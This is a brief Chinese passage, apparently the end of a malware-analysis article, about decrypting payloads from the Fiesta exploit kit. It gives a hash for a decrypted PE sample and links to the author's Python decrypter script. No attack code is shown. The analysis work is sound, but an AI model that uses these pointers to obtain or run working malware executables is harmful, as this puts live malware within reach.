通过这些信息,我们得到一个可以执行的PE文件,解密的样本可以从这里下载:31af1a5656ce741889984e8e878c7836

我写了一个可以从网络数据中解密任何Fiesta payload的Python脚本,已经在最近10个Fiesta EK上测试过了,两个参数,第一个是需要解密文件,第二个是输出文件,将会输出有效的PE文件:

https://github.com/0x3a/tools/blob/master/fiesta-payload-decrypter.py

原文链接:http://drops.wooyun.org/tips/4858

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